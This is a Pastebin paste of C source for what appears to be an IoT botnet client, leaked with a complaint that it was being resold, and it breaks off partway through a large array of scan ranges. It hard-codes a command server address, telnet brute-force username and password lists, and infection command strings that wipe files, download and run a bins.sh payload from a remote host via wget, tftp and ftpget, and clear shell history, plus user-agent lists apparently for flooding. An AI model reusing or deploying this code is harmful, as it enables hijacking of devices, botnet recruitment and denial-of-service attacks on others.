Advertisement
Guest User

Untitled

a guest
Jan 20th, 2017
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 108.07 KB | None | 0 0
  1. /*
  2. This was given to someone I considered as a good friend :/
  3.  
  4. Its was being sold under my nose
  5.  
  6. This was given to a friend out of a token of my graditude since he
  7.  
  8. wanted to fuck over well ill just post here
  9.  
  10.  
  11. Shit dont work #StankyMalware #MalwareMustDie #StopHacking2017
  12.  
  13. */
  14. #define PR_SET_NAME 15
  15. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  16. #define PAD_RIGHT 1
  17. #define PAD_ZERO 2
  18. #define PRINT_BUF_LEN 12
  19. #define CMD_IAC 255
  20. #define CMD_WILL 251
  21. #define CMD_WONT 252
  22. #define CMD_DO 253
  23. #define CMD_DONT 254
  24. #define OPT_SGA 3
  25. #define STD2_STRING "dts"
  26. #define STD2_SIZE 65
  27. #define BUFFER_SIZE 1024
  28.  
  29. #include <stdlib.h>
  30. #include <stdarg.h>
  31. #include <stdio.h>
  32. #include <sys/socket.h>
  33. #include <sys/types.h>
  34. #include <netinet/in.h>
  35. #include <arpa/inet.h>
  36. #include <netdb.h>
  37. #include <signal.h>
  38. #include <strings.h>
  39. #include <string.h>
  40. #include <sys/utsname.h>
  41. #include <unistd.h>
  42. #include <fcntl.h>
  43. #include <errno.h>
  44. #include <netinet/ip.h>
  45. #include <netinet/udp.h>
  46. #include <netinet/tcp.h>
  47. #include <sys/wait.h>
  48. #include <sys/ioctl.h>
  49. #include <net/if.h>
  50. #include <pthread.h>
  51. unsigned char *commServer[] =
  52. {
  53. "89.34.99.131:23"
  54. };
  55.  
  56. char *useragents[] = {
  57. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  58. "Firefox/3.5.3",
  59. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  60. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  61. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  62. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  63. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  64. "Gecko/20090718 Firefox/3.5.1",
  65. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  66. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  67. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  68. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  69. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  70. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  71. "3.0.30729)",
  72. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  73. "Trident/4.0)",
  74. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  75. ".NET CLR 2.0.50727; InfoPath.2)",
  76. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  77. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  78. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  79. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  80. "Chrome/41.0.2228.0 Safari/537.36",
  81. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  82. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  83. "Version/12.16",
  84. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  85. "Gecko",
  86. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  87. "like Gecko",
  88. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  89. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  90. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  91. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  92. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  93. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  94. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  95. "zspider/0.9-dev http://feedback.redkolibri.com/",
  96. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  97. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  98. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  99. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  100. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  101. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  102. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  103. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  104. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  105. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  106. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  107. "TheSuBot/0.2 (www.thesubot.de)",
  108. "TheSuBot/0.1 (www.thesubot.de)",
  109. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  110. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  111. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  112. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  113. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  114. "FAST-WebCrawler/3.x Multimedia",
  115. "Mozilla/4.0 (compatible: FDSE robot)",
  116. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  117. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  118. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  119. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  120. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  121. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  122. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  123. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  124. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  125. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  126. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  127. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  128. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  129. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  130. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  131. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  132. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  133. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  134. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  135. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  136. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  137. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  138. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  139. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  140. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  141. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  142. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  143. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  144. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  145. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  146. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  147. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  148. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  149. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  150. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  151. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  152. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  153. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  154. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  155. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  156. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  157. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  158. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  159. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  160. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  161. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  162. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  163. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  164. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  165. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  166. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  167. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  168. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  169. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  170. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  171. "Opera/9.20 (Windows NT 6.0; U; en)",
  172. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  173. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  174. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  175. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  176. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  177. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  178. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  179. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  180. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  181. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  182. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  183. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  184. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  185. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  186. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  187. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  188. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  189. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  190. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  191. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  192. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  193. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  194. };
  195.  
  196.  
  197. int initConnection();
  198. int getBogos(unsigned char *bogomips);
  199. int getCores();
  200. int getCountry(unsigned char *buf, int bufsize);
  201. void makeRandomStr(unsigned char *buf, int length);
  202. int sockprintf(int sock, char *formatStr, ...);
  203. char *inet_ntoa(struct in_addr in);
  204.  
  205. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  206. uint32_t *pids;
  207. uint32_t scanPid;
  208. uint64_t numpids = 0;
  209. struct in_addr ourIP;
  210. struct in_addr ourPublicIP;
  211. unsigned char macAddress[6] = {0};
  212.  
  213. char *infect2 = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var || cd /var/run;wget http://89.34.99.131/bins.sh ;chmod 777 bins.sh;sh bins.sh ;rm -rf *;history -c\r\n";
  214. char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.34.99.131/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 89.34.99.131 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.34.99.131; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.34.99.131 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  215. char *usernames[] = {"root\0", "root\0" "root\0", "root\0", "root\0", "admin\0", "admin\0", "root\0", "Administrator\0", "root\0", "toor\0", "guest\0", "realtek\0", "root\0", "telnet", "ubnt"};
  216. char *passwords[] = {"root\0", "1234\0","12345\0", "\0", "123456\0", "admin\0", "1234\0", "toor\0", "Administrator\0", "admin\0", "root\0", "guest\0", "realtek\0", "vizxv\0", "telnet", "ubnt"};
  217. char* tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};
  218. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};
  219. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  220. char* successes[] = {"busybox", "$", "#", (char*)0};
  221. char* infected[] = {"Zero"};
  222. char *infectedmessage = "Zero";
  223. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  224. int oldranges[] = {1,1,1,1,1,1,101,101,101,103,103,103,103,103,105,106,106,109,109,109,109,109,111,112,112,112,112,112,112,113,113,113,114,114,115,115,115,115,117,117,117,118,118,118,118,118,118,118,118,119,119,119,119,120,120,120,121,121,121,121,121,121,122,122,122,122,122,122,122,122,122,122,123,123,124,124,124,124,124,124,125,125,125,125,125,125,125,125,128,128,131,131,131,132,138,14,14,14,14,14,14,14,14,14,14,14,14,140,141,148,151,162,163,165,165,166,166,166,166,166,166,166,166,167,168,173,173,173,174,175,175,175,175,175,175,175,175,176,176,177,177,177,177,177,177,177,177,178,178,178,179,179,179,179,180,181,181,181,182,182,182,182,182,182,182,182,185,185,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,187,187,187,187,188,188,189,189,189,189,189,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,191,191,191,191,191,191,191,191,191,191,191,191,191,192,193,193,196,196,197,198,2,2,2,2,200,200,200,200,201,201,201,201,201,201,201,201,201,201,202,202,202,202,202,202,202,203,203,203,203,203,203,203,203,203,203,206,209,209,210,210,210,210,210,210,210,210,210,210,210,210,211,211,211,211,211,211,211,211,211,211,211,211,211,211,212,212,212,213,213,213,213,213,213,213,217,218,218,219,219,219,220,220,220,220,220,220,221,221,221,221,221,222,222,222,222,222,222,223,223,223,223,24,24,27,27,27,31,31,31,31,31,31,31,36,37,37,37,37,37,37,37,37,41,41,41,41,41,41,42,42,43,43,45,45,46,46,46,46,46,46,46,46,49,49,49,49,5,5,5,5,5,5,5,5,50,52,58,58,58,58,58,59,59,59,59,59,59,60,61,61,61,61,61,61,61,61,61,61,61,61,61,61,62,64,66,68,69,70,71,72,72,74,75,77,77,77,77,78,78,78,78,78,78,79,79,79,8,80,80,80,80,80,80,80,80,80,81,81,81,81,82,82,82,82,83,83,83,83,83,83,83,83,83,84,84,84,84,85,85,85,85,85,85,85,86,86,86,86,87,87,87,88,88,88,88,88,88,88,88,89,89,89,89,89,89,90,91,91,91,91,91,91,91,92,93,93,93,94,94,94,94,94,95,95,95,95,95,95,95,95,95,95,96,98,98};
  225. int oldranges2[] = {10,176,213,232,245,4,108,231,51,193,206,25,43,62,98,105,240,161,197,232,60,86,69,163,169,219,220,67,76,11,198,53,69,99,127,160,91,93,123,16,17,128,173,175,217,220,35,36,37,194,203,92,93,237,29,51,120,121,137,58,65,73,128,160,170,178,199,2,3,52,53,54,108,200,105,106,107,119,128,28,107,127,132,24,25,26,27,7,0,46,0,108,72,248,94,160,162,167,168,174,175,177,185,191,201,33,48,93,64,204,100,254,172,132,229,130,141,154,161,241,248,251,78,142,167,238,239,255,58,126,192,201,224,226,228,231,232,121,96,113,19,22,35,69,70,87,99,136,150,208,184,40,56,57,180,138,141,226,52,65,68,70,71,72,75,76,69,87,103,106,112,113,114,115,116,117,118,119,128,129,130,133,134,135,138,148,15,155,177,178,179,183,192,194,195,201,215,218,219,226,227,233,235,236,237,242,249,251,39,46,54,56,57,58,59,60,61,62,65,67,92,95,109,50,61,95,243,3,114,149,55,96,98,121,15,155,174,175,176,178,179,252,254,40,43,48,49,50,80,194,197,199,203,241,26,31,37,6,81,83,84,98,154,34,68,205,44,246,144,227,232,235,38,103,161,205,23,124,179,222,230,240,49,55,67,71,77,103,137,151,31,41,44,62,109,123,223,236,237,238,242,249,252,253,192,102,225,102,105,111,119,16,181,213,216,217,91,92,93,105,119,195,208,216,229,232,238,239,245,254,36,37,44,103,156,179,164,190,230,232,250,46,85,57,56,65,149,233,240,127,149,66,67,69,93,145,164,166,210,7,110,170,172,174,211,212,237,242,95,99,2,31,0,1,126,135,146,163,186,23,42,8,96,1,132,143,151,158,221,77,98,143,162,34,65,74,82,115,61,239,245,242,64,149,19,29,39,42,44,48,63,136,144,145,213,11,137,140,141,199,81,82,83,167,221,137,140,187,213,244,11,120,25,30,94,95,175,148,152,177,183,230,234,235,251,32,36,7,72,78,85,176,19,108,12,36,33,87,17,219,59,151,108,209,35,94,139,158,186,188,189,61,126,142,49,40,188,221,242,249,250,54,78,82,85,19,220,45,74,151,52,53,55,11,12,132,174,22,221,233,237,24,124,22,237,238,104,105,109,173,64,95,99,110,122,53,99,117,15,239,147,204,225,234,247,248,249,28,142,200,207,212,22,248,157,102,135,137,140,158,200,221,92,100,103,190,215,29,40,56,70,152,210,227,244,37,39,46,53,69,9,30,124,207};
  226. int rangesA[] = {1,101,103,109,112,115,118,121,122,124,125,128,131,14,173,175,176,178,180,181,182,186,188,189,196,202,203,210,211,212,216,220,27,31,37,41,43,45,46,49,5,50,59,61,62,77,78,79,80,82,83,85,87,88,89,91,93,94,95};
  227. int rangesB1[] = {1,1,101,103,103,103,103,103,103,103,103,103,103,103,103,103,103,109,109,111,112,115,118,118,120,121,122,122,122,124,124,125,125,125,128,131,14,14,14,14,14,14,14,14,14,14,14,167,173,175,176,176,178,179,180,181,182,182,182,182,186,186,186,186,186,186,186,186,188,188,189,189,189,190,196,202,202,203,203,210,211,211,212,212,213,216,220,27,27,31,31,31,31,31,37,37,37,41,41,41,43,43,43,43,45,45,45,45,45,46,46,46,46,49,49,5,5,5,50,50,59,59,61,61,61,62,77,77,77,77,78,78,78,78,79,80,80,82,82,82,82,83,83,83,85,85,85,85,85,85,87,88,88,88,88,88,88,88,88,88,89,89,91,93,93,93,94,94,95,95,95,95,95,95,95};
  228. int rangesB2[] = {10,70,108,193,195,198,203,206,214,220,242,30,35,43,49,55,62,197,86,69,169,160,173,35,237,137,178,53,54,107,119,107,132,24,0,72,160,162,167,168,174,175,177,185,191,201,27,142,255,201,121,96,136,184,180,226,52,68,71,75,112,114,117,177,227,236,251,67,243,3,149,169,55,43,44,44,62,109,150,213,216,229,103,156,250,51,93,0,1,135,163,23,42,8,1,143,158,143,65,82,230,239,245,252,115,120,121,127,252,39,42,48,63,144,145,105,137,141,203,233,120,95,177,7,85,176,108,209,35,94,139,186,188,189,126,250,82,52,53,55,71,12,221,24,104,105,109,173,95,99,117,147,204,225,234,247,248,249,251,3,200,248,140,100,103,190,29,70,152,210,37,46,53,69,9};
  229. int rangesC1[] = {1,1,101,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,109,109,111,112,115,118,118,118,118,118,118,120,121,122,122,122,122,124,124,125,125,125,128,131,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,167,173,175,175,176,176,178,179,180,181,182,182,182,182,182,182,182,182,186,186,186,186,186,186,186,186,186,186,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,189,189,189,190,196,202,202,202,202,202,202,202,202,202,203,203,210,211,211,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,213,216,220,220,27,27,27,27,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,37,37,37,37,37,37,37,41,41,41,41,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,45,45,45,45,45,45,45,45,45,45,45,45,45,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,49,49,49,49,49,49,49,49,49,49,5,5,5,5,5,5,5,5,5,50,50,59,59,59,59,61,61,61,61,61,61,62,77,77,77,77,77,77,77,77,77,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,79,79,79,79,80,80,80,80,82,82,82,82,82,82,82,82,83,83,83,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,87,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,89,89,91,93,93,93,93,93,93,94,94,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95};
  230. int rangesC2[] = {10,70,108,193,195,195,198,198,198,203,203,203,206,214,214,220,242,242,242,30,30,30,35,35,43,49,55,62,62,62,197,86,69,169,160,173,173,173,173,173,35,237,137,178,178,53,54,107,119,107,132,24,0,72,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,167,167,167,168,168,168,174,174,174,174,174,174,174,175,175,175,175,175,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,185,185,185,185,185,185,185,185,185,185,185,185,1